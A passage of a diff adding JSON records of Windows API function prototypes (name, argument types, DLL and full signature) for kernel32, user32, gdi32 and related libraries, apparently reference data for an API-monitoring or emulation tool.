+ { + "function_name": "CreateTapePartition", + "arguments": [ + "HANDLE", + "DWORD", + "DWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD CreateTapePartition( HANDLE hDevice, DWORD dwPartitionMethod, DWORD dwCount, DWORD dwSize );" + }, + { + "function_name": "CreateToolhelp32Snapshot", + "arguments": [ + "DWORD", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID);" + }, + { + "function_name": "CreateThread", + "arguments": [ + "LPSECURITY_ATTRIBUTES", + "DWORD", + "LPTHREAD_START_ROUTINE", + "LPVOID", + "DWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, DWORD dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );" + }, + { + "function_name": "CreateWaitableTimerA", + "arguments": [ + "LPSECURITY_ATTRIBUTES", + "BOOL", + "LPCSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateWaitableTimerA( LPSECURITY_ATTRIBUTES lpTimerAttributes, BOOL bManualReset, LPCSTR lpTimerName );" + }, + { + "function_name": "CreateWaitableTimerW", + "arguments": [ + "LPSECURITY_ATTRIBUTES", + "BOOL", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE CreateWaitableTimerW( LPSECURITY_ATTRIBUTES lpTimerAttributes, BOOL bManualReset, LPCWSTR lpTimerName );" + }, + { + "function_name": "CreateWindowExA", + "arguments": [ + "DWORD", + "LPCTSTR", + "LPCTSTR", + "DWORD", + "int", + "int", + "int", + "int", + "HWND", + "HMENU", + "HINSTANCE", + "LPVOID" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND CreateWindowExA( DWORD dwExStyle, LPCTSTR lpClassName, LPCTSTR lpWindowName, DWORD dwStyle, int x, int y, int nWidth, int nHeight, HWND hWndParent, HMENU hMenu, HINSTANCE hInstance, LPVOID lpParam );" + }, + { + "function_name": "CreateWindowExW", + "arguments": [ + "DWORD", + "LPCWSTR", + "LPCWSTR", + "DWORD", + "int", + "int", + "int", + "int", + "HWND", + "HMENU", + "HINSTANCE", + "LPVOID" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND CreateWindowExW(DWORD dwExStyle, LPCWSTR lpClassName, LPCWSTR lpWindowName, DWORD dwStyle, int x, int y, int nWidth, int nHeight, HWND hWndParent, HMENU hMenu, HINSTANCE hInstance, LPVOID lpParam);" + }, + { + "function_name": "CreateWindowStationA", + "arguments": [ + "LPTSTR", + "DWORD", + "DWORD", + "LPSECURITY_ATTRIBUTES" + ], + "dll_name": "user32.dll", + "full_prototype": "HWINSTA CreateWindowStationA(LPTSTR lpwinsta, DWORD dwReserved, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpsa);" + }, + { + "function_name": "CreateWindowStationW", + "arguments": [ + "LPCWSTR", + "DWORD", + "DWORD", + "LPSECURITY_ATTRIBUTES" + ], + "dll_name": "user32.dll", + "full_prototype": "HWINSTA CreateWindowStationW(LPCWSTR lpwinsta, DWORD dwReserved, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpsa);" + }, + { + "function_name": "DdeSetQualityOfService", + "arguments": [ + "HWND", + "const SECURITY_QUALITY_OF_SERVICE", + "PSECURITY_QUALITY_OF_SERVICE" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DdeSetQualityOfService(HWND hwndClient, const SECURITY_QUALITY_OF_SERVICE *pqosNew, PSECURITY_QUALITY_OF_SERVICE pqosPrev);" + }, + { + "function_name": "DebugActiveProcess", + "arguments": [ + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL DebugActiveProcess( DWORD dwProcessId );" + }, + { + "function_name": "DebugBreak", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID DebugBreak(VOID);" + }, + { + "function_name": "DefDlgProcA", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT DefDlgProcA(HWND hDlg,UINT Msg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "DefDlgProcW", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT DefDlgProcW(HWND hDlg,UINT Msg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "DeferWindowPos", + "arguments": [ + "HDWP", + "HWND", + "HWND", + "int", + "int", + "int", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "HDWP DeferWindowPos(HDWP hWinPosInfo, HWND hWnd, HWND hWndInsertAfter,int x, int y, int cx, int cy, UINT uFlags);" + }, + { + "function_name": "DefFrameProcA", + "arguments": [ + "HWND", + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT DefFrameProcA(HWND hWnd, HWND hWndMDIClient, UINT uMsg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "DefFrameProcW", + "arguments": [ + "HWND", + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT DefFrameProcW(HWND hWnd, HWND hWndMDIClient, UINT uMsg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "DefineDosDeviceA", + "arguments": [ + "DWORD", + "LPCTSTR", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL DefineDosDeviceA( DWORD dwFlags, LPCTSTR lpDeviceName, LPCTSTR lpTargetPath );" + }, + { + "function_name": "DefineDosDeviceW", + "arguments": [ + "DWORD", + "LPCWSTR", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL DefineDosDeviceW(DWORD dwFlags,LPCWSTR lpDeviceName,LPCWSTR lpTargetPath);" + }, + { + "function_name": "DefMDIChildProcA", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT DefMDIChildProcA(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "DefMDIChildProcW", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT DefMDIChildProcW(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "DefWindowProcA", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT DefWindowProcA(HWND hWnd, UINT Msg,WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "DefWindowProcW", + "arguments": [ + "HWND", + "UINT", + "WPARAM", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT DefWindowProcW(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);" + }, + { + "function_name": "DeleteAce", + "arguments": [ + "PACL", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL DeleteAce( PACL pAcl, DWORD dwAceIndex );" + }, + { + "function_name": "DeleteAtom", + "arguments": [ + "ATOM" + ], + "dll_name": "kernel32.dll", + "full_prototype": "ATOM DeleteAtom( ATOM nAtom );" + }, + { + "function_name": "DeleteColorSpace", + "arguments": [ + "HCOLORSPACE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL DeleteColorSpace(HCOLORSPACE hColorSpace);" + }, + { + "function_name": "DeleteCriticalSection", + "arguments": [ + "LPCRITICAL_SECTION" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID DeleteCriticalSection( LPCRITICAL_SECTION lpCriticalSection );" + }, + { + "function_name": "DeleteDC", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL DeleteDC(HDC hdc);" + }, + { + "function_name": "DeleteEnhMetaFile", + "arguments": [ + "HENHMETAFILE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL DeleteEnhMetaFile(HENHMETAFILE hemf);" + }, + { + "function_name": "DeleteFiber", + "arguments": [ + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID DeleteFiber( LPVOID lpFiber);" + }, + { + "function_name": "DeleteFileA", + "arguments": [ + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL DeleteFileA( LPCTSTR lpFileName );" + }, + { + "function_name": "DeleteFileW", + "arguments": [ + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL DeleteFileW( LPCWSTR path );" + }, + { + "function_name": "DeleteMenu", + "arguments": [ + "HMENU", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DeleteMenu(HMENU hMenu,UINT uPosition,UINT uFlags);" + }, + { + "function_name": "DeleteMetaFile", + "arguments": [ + "HMETAFILE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL DeleteMetaFile(HMETAFILE hmf);" + }, + { + "function_name": "DeleteObject", + "arguments": [ + "HGDIOBJ" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL DeleteObject(HGDIOBJ hObject);" + }, + { + "function_name": "DeletePrinter", + "arguments": [ + "HANDLE" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL DeletePrinter(HANDLE hPrinter);" + }, + { + "function_name": "DeregisterEventSource", + "arguments": [ + "HANDLE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL DeregisterEventSource( HANDLE hEventLog );" + }, + { + "function_name": "DescribePixelFormat", + "arguments": [ + "HDC", + "int", + "UINT", + "LPPIXELFORMATDESCRIPTOR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int DescribePixelFormat(HDC hdc, int iPixelFormat, UINT nBytes, LPPIXELFORMATDESCRIPTOR ppfd);" + }, + { + "function_name": "DestroyAcceleratorTable", + "arguments": [ + "HACCEL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DestroyAcceleratorTable(HACCEL hAccel);" + }, + { + "function_name": "DestroyCaret", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DestroyCaret(VOID);" + }, + { + "function_name": "DestroyCursor", + "arguments": [ + "HCURSOR" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DestroyCursor(HCURSOR hCursor);" + }, + { + "function_name": "DestroyIcon", + "arguments": [ + "HICON" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DestroyIcon(HICON hIcon);" + }, + { + "function_name": "DestroyMenu", + "arguments": [ + "HMENU" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DestroyMenu(HMENU hMenu);" + }, + { + "function_name": "DestroyPrivateObjectSecurity", + "arguments": [ + "PSECURITY_DESCRIPTOR *" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL DestroyPrivateObjectSecurity( PSECURITY_DESCRIPTOR * ObjectDescriptor );" + }, + { + "function_name": "DestroyWindow", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DestroyWindow(HWND hWnd);" + }, + { + "function_name": "DeviceCapabilitiesExA", + "arguments": [ + "LPCSTR", + "LPCSTR", + "LPCSTR", + "WORD", + "LPSTR", + "const DEVMODEA*" + ], + "dll_name": "gdi32.dll", + "full_prototype": "DWORD DeviceCapabilitiesA(LPCSTR pDriverName, LPCSTR pDeviceName, LPCSTR pPort, WORD iIndex, LPSTR pOutput, const DEVMODEA* DevMode);" + }, + { + "function_name": "DeviceCapabilitiesExW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "LPCWSTR", + "WORD", + "LPWSTR", + "CONST DEVMODEW*" + ], + "dll_name": "gdi32.dll", + "full_prototype": "DWORD DeviceCapabilitiesExW(LPCWSTR pDriverName, LPCWSTR pDeviceName, LPCWSTR pPort, WORD iIndex, LPWSTR pOutput, CONST DEVMODEW* DevMode);" + }, + { + "function_name": "DeviceIoControl", + "arguments": [ + "HANDLE", + "DWORD", + "LPVOID", + "DWORD", + "LPVOID", + "DWORD", + "LPDWORD", + "LPOVERLAPPED" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL DeviceIoControl( HANDLE hDevice, DWORD dwIoControlCode, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped);" + }, + { + "function_name": "DialogBoxIndirectParamA", + "arguments": [ + "HINSTANCE", + "LPCDLGTEMPLATE", + "HWND", + "DLGPROC", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "int DialogBoxIndirectParamA(HINSTANCE hInstance, LPCDLGTEMPLATE hDialogTemplate, HWND hWndParent, DLGPROC lpDialogFunc, LPARAM dwInitParam);" + }, + { + "function_name": "DialogBoxIndirectParamW", + "arguments": [ + "HINSTANCE", + "LPCDLGTEMPLATE", + "HWND", + "DLGPROC", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "int DialogBoxIndirectParamW(HINSTANCE hInstance, LPCDLGTEMPLATE hDialogTemplate, HWND hWndParent, DLGPROC lpDialogFunc, LPARAM dwInitParam);" + }, + { + "function_name": "DialogBoxParamA", + "arguments": [ + "HINSTANCE", + "LPCTSTR", + "HWND", + "DLGPROC", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "int DialogBoxParamA(HINSTANCE hInstance, LPCTSTR lpTemplateName, HWND hWndParent, DLGPROC lpDialogFunc, LPARAM dwInitParam);" + }, + { + "function_name": "DialogBoxParamW", + "arguments": [ + "HINSTANCE", + "LPCWSTR", + "HWND", + "DLGPROC", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "int DialogBoxParamW(HINSTANCE hInstance, LPCWSTR lpTemplateName, HWND hWndParent, DLGPROC lpDialogFunc, LPARAM dwInitParam);" + }, + { + "function_name": "DisableThreadLibraryCalls", + "arguments": [ + "HMODULE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL DisableThreadLibraryCalls( HMODULE hLibModule );" + }, + { + "function_name": "DisconnectNamedPipe", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL DisconnectNamedPipe( HANDLE hNamedPipe );" + }, + { + "function_name": "DiskCopyRunDll", + "arguments": [ + "IN LPSTR", + "IN LPSTR", + "IN LPSTR", + "IN LPSTR" + ], + "dll_name": "diskcopy.dll", + "full_prototype": "int DiskCopyRunDll(IN LPSTR Unuse1,IN LPSTR Unuse2,IN LPSTR pszDriveNumber,IN LPSTR Unuse3);" + }, + { + "function_name": "DispatchMessageA", + "arguments": [ + "CONST MSG *" + ], + "dll_name": "user32.dll", + "full_prototype": "LONG DispatchMessageA(CONST MSG * lpmsg);" + }, + { + "function_name": "DispatchMessageW", + "arguments": [ + "const MSG*" + ], + "dll_name": "user32.dll", + "full_prototype": "LRESULT DispatchMessageW(const MSG* msg);" + }, + { + "function_name": "DlgDirListA", + "arguments": [ + "HWND", + "LPTSTR", + "int", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int DlgDirListA(HWND hDlg,LPTSTR lpPathSpec, int nIDListBox, int nIDStaticPath, UINT uFileType);" + }, + { + "function_name": "DlgDirListW", + "arguments": [ + "HWND", + "LPWSTR", + "int", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int DlgDirListW(HWND hDlg, LPWSTR lpPathSpec, int nIDListBox, int nIDStaticPath, UINT uFileType);" + }, + { + "function_name": "DlgDirListComboBoxA", + "arguments": [ + "HWND", + "LPTSTR", + "int", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int DlgDirListComboBoxA(HWND hDlg, LPTSTR lpPathSpec, int nIDComboBox, int nIDStaticPath, UINT uFiletype);" + }, + { + "function_name": "DlgDirListComboBoxW", + "arguments": [ + "HWND", + "LPWSTR", + "int", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int DlgDirListComboBoxW(HWND hDlg, LPWSTR lpPathSpec, int nIDComboBox, int nIDStaticPath,UINT uFiletype);" + }, + { + "function_name": "DlgDirSelectComboBoxExA", + "arguments": [ + "HWND", + "LPTSTR", + "int", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DlgDirSelectComboBoxExA(HWND hDlg, LPTSTR lpString, int nCount, int nIDComboBox);" + }, + { + "function_name": "DlgDirSelectComboBoxExW", + "arguments": [ + "HWND", + "LPWSTR", + "int", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DlgDirSelectComboBoxExW(HWND hDlg, LPWSTR lpString, int nCount, int nIDComboBox);" + }, + { + "function_name": "DlgDirSelectExA", + "arguments": [ + "HWND", + "LPTSTR", + "int", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DlgDirSelectExA(HWND hDlg, LPTSTR lpString, int nCount,int nIDListBox);" + }, + { + "function_name": "DlgDirSelectExW", + "arguments": [ + "HWND", + "LPWSTR", + "int", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DlgDirSelectExW(HWND hDlg, LPWSTR lpString, int nCount,int nIDListBox);" + }, + { + "function_name": "DllGetVersion", + "arguments": [ + "DLLVERSIONINFO" + ], + "dll_name": "shell32.dll", + "full_prototype": "HRESULT CALLBACK DllGetVersion(DLLVERSIONINFO *pdvi);" + }, + { + "function_name": "DosDateTimeToFileTime", + "arguments": [ + "WORD", + "WORD", + "LPFILETIME" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL DosDateTimeToFileTime( WORD wFatDate, WORD wFatTime, LPFILETIME lpFileTime );" + }, + { + "function_name": "DPtoLP", + "arguments": [ + "HDC", + "LPPOINT", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL DPtoLP(HDC hdc, LPPOINT lpPoints, int nCount);" + }, + { + "function_name": "DragAcceptFiles", + "arguments": [ + "HWND", + "BOOL" + ], + "dll_name": "shell32.dll", + "full_prototype": "VOID DragAcceptFiles(HWND hWnd,BOOL fAccept);" + }, + { + "function_name": "DragDetect", + "arguments": [ + "HWND", + "POINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DragDetect(HWND hwnd, POINT pt);" + }, + { + "function_name": "DragObject", + "arguments": [ + "HWND", + "HWND", + "UINT", + "DWORD", + "HCURSOR" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD DragObject(HWND hWndScope, HWND hWndObj, UINT wObjType, DWORD hOfStruct, HCURSOR hDragCursor);" + }, + { + "function_name": "DragFinish", + "arguments": [ + "HDROP" + ], + "dll_name": "shell32.dll", + "full_prototype": "VOID DragFinish(HDROP hDrop);" + }, + { + "function_name": "DragQueryFile", + "arguments": [ + "HDROP", + "UINT", + "LPTSTR", + "UINT" + ], + "dll_name": "shell32.dll", + "full_prototype": "UINT DragQueryFile(HDROP hDrop,UINT iFile,LPTSTR lpszFile,UINT cch);" + }, + { + "function_name": "DrawAnimatedRects", + "arguments": [ + "HWND", + "int", + "CONST RECT *", + "CONST RECT *" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DrawAnimatedRects(HWND hwnd, int idAni, CONST RECT * lprcFrom, CONST RECT * lprcTo);" + }, + { + "function_name": "DrawCaption", + "arguments": [ + "HDC", + "LPRECT", + "HFONT", + "HICON", + "LPSTR", + "WORD" + ], + "dll_name": "user32.dll", + "full_prototype": "void DrawCaption(HDC hdc, LPRECT lprc, HFONT hfont, HICON hicon, LPSTR lpszText, WORD wFlags);" + }, + { + "function_name": "DrawEdge", + "arguments": [ + "HDC", + "LPRECT", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DrawEdge(HDC hdc,LPRECT qrc, UINT edge, UINT grfFlags);" + }, + { + "function_name": "DrawEscape", + "arguments": [ + "HDC", + "int", + "int", + "LPCSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int DrawEscape(HDC hdc, int nEscape, int cbInput, LPCSTR lpszInData);" + }, + { + "function_name": "DrawFocusRect", + "arguments": [ + "HDC", + "CONST RECT *" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DrawFocusRect(HDC hDC, CONST RECT * lprc);" + }, + { + "function_name": "DrawFrameControl", + "arguments": [ + "HDC", + "LPRECT", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DrawFrameControl(HDC hdc, LPRECT lprc, UINT uType, UINT uState);" + }, + { + "function_name": "DrawIcon", + "arguments": [ + "HDC", + "int", + "int", + "HICON" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DrawIcon(HDC hDC,int X,int Y,HICON hIcon);" + }, + { + "function_name": "DrawIconEx", + "arguments": [ + "HDC", + "int", + "int", + "HICON", + "int", + "int", + "UINT", + "HBRUSH", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DrawIconEx(HDC hdc, int xLeft, int yTop, HICON hIcon, int cxWidth, int cyWidth, UINT istepIfAniCur, HBRUSH hbrFlickerFreeDraw,UINT diFlags);" + }, + { + "function_name": "DrawMenuBar", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DrawMenuBar(HWND hWnd);" + }, + { + "function_name": "DrawStateA", + "arguments": [ + "HDC", + "HBRUSH", + "DRAWSTATEPROC", + "LPARAM", + "WPARAM", + "int", + "int", + "int", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DrawStateA(HDC hdc, HBRUSH hbr, DRAWSTATEPROC lpOutputFunc, LPARAM lData, WPARAM wData, int x,int y, int cx, int cy, UINT fuFlags);" + }, + { + "function_name": "DrawStateW", + "arguments": [ + "HDC", + "HBRUSH", + "DRAWSTATEPROC", + "LPARAM", + "WPARAM", + "int", + "int", + "int", + "int", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL DrawStateW(HDC hdc, HBRUSH hbr, DRAWSTATEPROC lpOutputFunc, LPARAM lData, WPARAM wData, int x,int y, int cx, int cy, UINT fuFlags);" + }, + { + "function_name": "DrawTextA", + "arguments": [ + "HDC", + "LPCTSTR", + "int", + "LPRECT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int DrawTextA(HDC hDC, LPCTSTR lpString, int nCount, LPRECT lpRect, UINT uFormat);" + }, + { + "function_name": "DrawTextW", + "arguments": [ + "HDC", + "LPCWSTR", + "int", + "LPRECT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "int DrawTextW(HDC hDC, LPCWSTR lpString, int nCount, LPRECT lpRect, UINT uFormat);" + }, + { + "function_name": "DrawTextExA", + "arguments": [ + "HDC", + "LPTSTR", + "int", + "LPRECT", + "UINT", + "LPDRAWTEXTPARAMS" + ], + "dll_name": "user32.dll", + "full_prototype": "int DrawTextExA(HDC hdc, LPTSTR lpchText, int cchText, LPRECT lprc, UINT dwDTFormat, LPDRAWTEXTPARAMS lpDTParams);" + }, + { + "function_name": "DrawTextExW", + "arguments": [ + "HDC", + "LPWSTR", + "int", + "LPRECT", + "UINT", + "LPDRAWTEXTPARAMS" + ], + "dll_name": "user32.dll", + "full_prototype": "int DrawTextExW(HDC hdc, LPWSTR lpchText, int cchText, LPRECT lprc, UINT dwDTFormat, LPDRAWTEXTPARAMS lpDTParams);" + }, + { + "function_name": "DuplicateHandle", + "arguments": [ + "HANDLE", + "HANDLE", + "HANDLE", + "LPHANDLE", + "DWORD", + "BOOL", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL DuplicateHandle( HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions );" + }, + { + "function_name": "DuplicateIcon", + "arguments": [ + "HINSTANCE", + "HICON" + ], + "dll_name": "shell32.dll", + "full_prototype": "HICON DuplicateIcon(HINSTANCE hInst,HICON hIcon);" + }, + { + "function_name": "DuplicateToken", + "arguments": [ + "HANDLE", + "SECURITY_IMPERSONATION_LEVEL", + "PHANDLE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL DuplicateToken( HANDLE ExistingTokenHandle, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, PHANDLE DuplicateTokenHandle );" + }, + { + "function_name": "DuplicateTokenEx", + "arguments": [ + "HANDLE", + "DWORD", + "LPSECURITY_ATTRIBUTES", + "SECURITY_IMPERSONATION_LEVEL", + "TOKEN_TYPE", + "PHANDLE" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL DuplicateTokenEx(HANDLE hExistingToken,DWORD dwDesiredAccess,LPSECURITY_ATTRIBUTES lpTokenAttributes,SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,TOKEN_TYPE TokenType,PHANDLE phNewToken);" + }, + { + "function_name": "DvdLauncher", + "arguments": [ + "HWND", + "CHAR" + ], + "dll_name": "storprop.dll", + "full_prototype": "BOOL DvdLauncher(HWND HWnd,CHAR DriveLetter);" + }, + { + "function_name": "Ellipse", + "arguments": [ + "HDC", + "int", + "int", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL Ellipse(HDC hdc,int nLeftRect,int nTopRect,int nRightRect,int nBottomRect);" + }, + { + "function_name": "EmptyClipboard", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EmptyClipboard(VOID);" + }, + { + "function_name": "EnableMenuItem", + "arguments": [ + "HMENU", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EnableMenuItem(HMENU hMenu,UINT uIDEnableItem,UINT uEnable);" + }, + { + "function_name": "EnableScrollBar", + "arguments": [ + "HWND", + "UINT", + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EnableScrollBar(HWND hWnd,UINT wSBflags,UINT wArrows);" + }, + { + "function_name": "EnableWindow", + "arguments": [ + "HWND", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EnableWindow(HWND hWnd,BOOL bEnable);" + }, + { + "function_name": "EndDeferWindowPos", + "arguments": [ + "HDWP" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EndDeferWindowPos(HDWP hWinPosInfo);" + }, + { + "function_name": "EndDialog", + "arguments": [ + "HWND", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EndDialog(HWND hDlg, int nResult);" + }, + { + "function_name": "EndDoc", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int EndDoc(HDC hdc);" + }, + { + "function_name": "EndPage", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int EndPage(HDC hdc);" + }, + { + "function_name": "EndPaint", + "arguments": [ + "HWND", + "CONST PAINTSTRUCT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EndPaint(HWND hWnd, CONST PAINTSTRUCT *lpPaint);" + }, + { + "function_name": "EndPath", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL EndPath(HDC hdc);" + }, + { + "function_name": "EndUpdateResourceA", + "arguments": [ + "HANDLE", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EndUpdateResourceA( HANDLE hUpdate, BOOL fDiscard );" + }, + { + "function_name": "EndUpdateResourceW", + "arguments": [ + "HANDLE", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EndUpdateResourceW(HANDLE hUpdate,BOOL fDiscard);" + }, + { + "function_name": "EnterCriticalSection", + "arguments": [ + "LPCRITICAL_SECTION" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID EnterCriticalSection( LPCRITICAL_SECTION lpCriticalSection );" + }, + { + "function_name": "EnumCalendarInfoA", + "arguments": [ + "CALINFO_ENUMPROC", + "LCID", + "CALID", + "CALTYPE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumCalendarInfoA( CALINFO_ENUMPROC lpCalInfoEnumProc, LCID Locale, CALID Calendar, CALTYPE CalType );" + }, + { + "function_name": "EnumCalendarInfoW", + "arguments": [ + "CALINFO_ENUMPROCW", + "LCID", + "CALID", + "CALTYPE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumCalendarInfoW( CALINFO_ENUMPROCW calinfoproc, LCID locale, CALID calendar, CALTYPE caltype );" + }, + { + "function_name": "EnumChildWindows", + "arguments": [ + "HWND", + "WNDENUMPROC", + "LPARAM" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL EnumChildWindows(HWND hWndParent,WNDENUMPROC lpEnumFunc, LPARAM lParam);" + }, + { + "function_name": "EnumClipboardFormats", + "arguments": [ + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "UINT EnumClipboardFormats(UINT format);" + }, + { + "function_name": "EnumDateFormatsA", + "arguments": [ + "DATEFMT_ENUMPROC", + "LCID", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumDateFormatsA( DATEFMT_ENUMPROC lpDateFmtEnumProc, LCID Locale, DWORD dwFlags );" + }, + { + "function_name": "EnumDateFormatsW", + "arguments": [ + "DATEFMT_ENUMPROCW", + "LCID", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL EnumDateFormatsW( DATEFMT_ENUMPROCW lpDateFmtEnumProc, LCID Locale, DWORD dwFlags);" + }, + { + "function_name": "EnumDesktopsA", + "arguments": [ + "HWINSTA", + "DESKTOPENUMPROC", + "LPARAM" + ], + "dll_name": 